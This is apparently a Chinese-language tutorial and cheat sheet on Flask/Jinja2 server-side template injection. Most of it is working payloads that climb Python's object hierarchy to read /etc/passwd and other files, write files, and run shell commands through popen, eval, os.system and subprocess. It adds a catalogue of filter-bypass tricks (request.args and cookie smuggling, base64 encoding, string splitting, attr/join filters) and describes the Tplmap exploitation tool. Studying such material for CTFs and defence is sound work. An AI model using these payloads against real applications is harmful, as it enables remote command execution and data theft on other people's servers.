Flask ssti模板注入一些总结

[TOC]

ssti思路

服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

ssti模板注入的基本思路就是通过__class__属性找到基类object,通过__subclasses__()查看object中有哪些类可以使用,一般都是去寻找os类,然后通过blobals全局来查找所有的方法及变量及参数,通常用到<class 'os._wrap_close'>类的popen方法。

基本流程

首先获取基本类

首先通过str、dict、tuple或list等获取python的基本类

  • dict:保存类实例或对象实例的属性变量键值对字典
  • class:返回调用的参数类型
  • mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • bases:返回类型列表
  • subclasses:返回object的子类
  • init:类的初始化方法
  • globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

也可以用一些其他在jinja2中存在的对象,比如request。在Python中,每个类都有一个bases属性,列出其基类,而mro返回的时解析方法调用的顺序,在其中选择object类就好了。

  • ''.__class__.__base__
  • ''.__class__.__mro__[1]
  • "".__class__.__bases__[0]
  • ().__class__.__bases__[0]
  • [].__class__.__bases__[0]
  • {}.__class__.__mro__[1]
  • request.__class__.__mro__[1]

可以借助```getitem绕过中括号的限制:

  • ''.__class__.__mro__.__getitem__(1)
  • {}.__class__.__bases__.__getitem__(0)
  • ().__class__.__bases__.__getitem__(0)
  • request.__class__.__mro__.__getitem__(1)

寻找方法

获取基本类后,继续向下获取基本类object的子类:

1
"".__class__.__bases__[0].__subclasses__()

找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):

1
2
3
4
5
print("".__class__.__bases__[0].__subclasses__()[-1].__init__)
print("".__class__.__bases__[0].__subclasses__()[1].__init__)
输出:
<function BlueprintSetupState.__init__ at 0x038CE0C0>
<slot wrapper '__init__' of 'weakref' objects>

查看其引用builtins
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

1
"".__class__.__bases__[0].__subclasses__()[-1].__init__.__globals__['__builtins__']

这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 open (python2中是file)以实现读取文件的功能:

1
"".__class__.__bases__[0].__subclasses__()[-1].__init__.__globals__['__builtins__']['open']('D:\\test.txt').read()

读写文件

在python2中使用file读写文件:

1
2
3
4
#读文件:
"".__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件:
"".__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

在python3中file没有了,使用open:

1
2
#读文件:
"".__class__.__bases__[0].__subclasses__()[-1].__init__.__globals__['__builtins__']['open']('D:\\test.txt').read()

命令执行

1.popen

使用popen进行命令执行。
首先要先找到os._wrap_close类,
查看 os._wrap_close 方法的位置:

1
2
3
>>> import os
>>> ''.__class__.__mro__[1].__subclasses__().index(os._wrap_close)
132

返回了下标索引,直接调用它

1
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()

2.eval

使用eval进行命令执行。

1
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

3.warnings.catch_warnings

利用warnings.catch_warnings 进行命令执行。
这个在python2和python3中有些不同,先说Python2的:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

然后是Python3的:

1
().__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

或者也可以这样多行执行:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

4.subprocess

这个模块原本在python2中是commands,在python中被替换为subprocess

1
{}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('subprocess').getstatusoutput('ls')
1
{}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
1
{}.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()

Bypass

现在很多模板注入都有限制,比如限制输入某些关键字,或者干脆直接限制输入某些字符。下面总结了一些绕过的方法。

过滤[]

使用getitem()或者pop()绕过,如:"".__class__.__bases__[0]
绕过后:"".__class__.__bases__.getitem(0)

读文件:

1
"".__class__.__base__.__subclasses__().pop(-1).__init__.__globals__.pop('__builtins__').pop('open')('test.txt').read()

执行命令:

1
''.__class__.__base__.__subclasses__().pop(132).__init__.__globals__.pop('popen')('ls').read()

过滤引号

request.args 是 flask 中的一个属性,为返回请求的参数,这里把popencmd当作变量名,将值传进来,进而绕过了引号的过滤。

1
{{().__class__.__base__.__subclasses__().pop(117).__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=whoami

过滤下划线

也是动态传参绕过

1
{{""[request.args.class][request.args.base][request.args.subclasses]()[117][request.args.init][request.args.globals][request.args.popen](request.args.cmd).read()}}&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&popen=popen&cmd=cat /flag

过滤关键字

比如过滤掉subclasses

使用request.args动态传参绕过

比如过滤掉subclasses

1
2
3
"".__class__.__bases__[0][request.args.a]()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}&a=__subclasses__
# cookie传值
"".__class__.__bases__[0][request.cookies['var']]()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

使用base64编码绕过

1
2
3
4
# 编码前
().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
# 编码后
().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))

使用字符串拼接绕过

使用加号来拼接字符串, =

1
"".__class__.__base__['__subcl'+'asses__']()[117].__init__.__globals__['popen']('ls').read()

使用join连接字符串,

1
[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()

过滤点号

jinja2模板中有很多有用的内置过滤器,这里使用的是attrjoin这两个过滤器。

1
```{{request|attr(["_"*2,"class","_"*2]|join)}}```就相当于```{{request.__class__}}

还有关于过滤的方式:

https://github.red/cybrics-2020-web-writeup/

使用工具

Tplmap

服务器端模板注入和代码注入检测与开发工具

一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP、Ruby、JaveScript、Python、ERB、Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。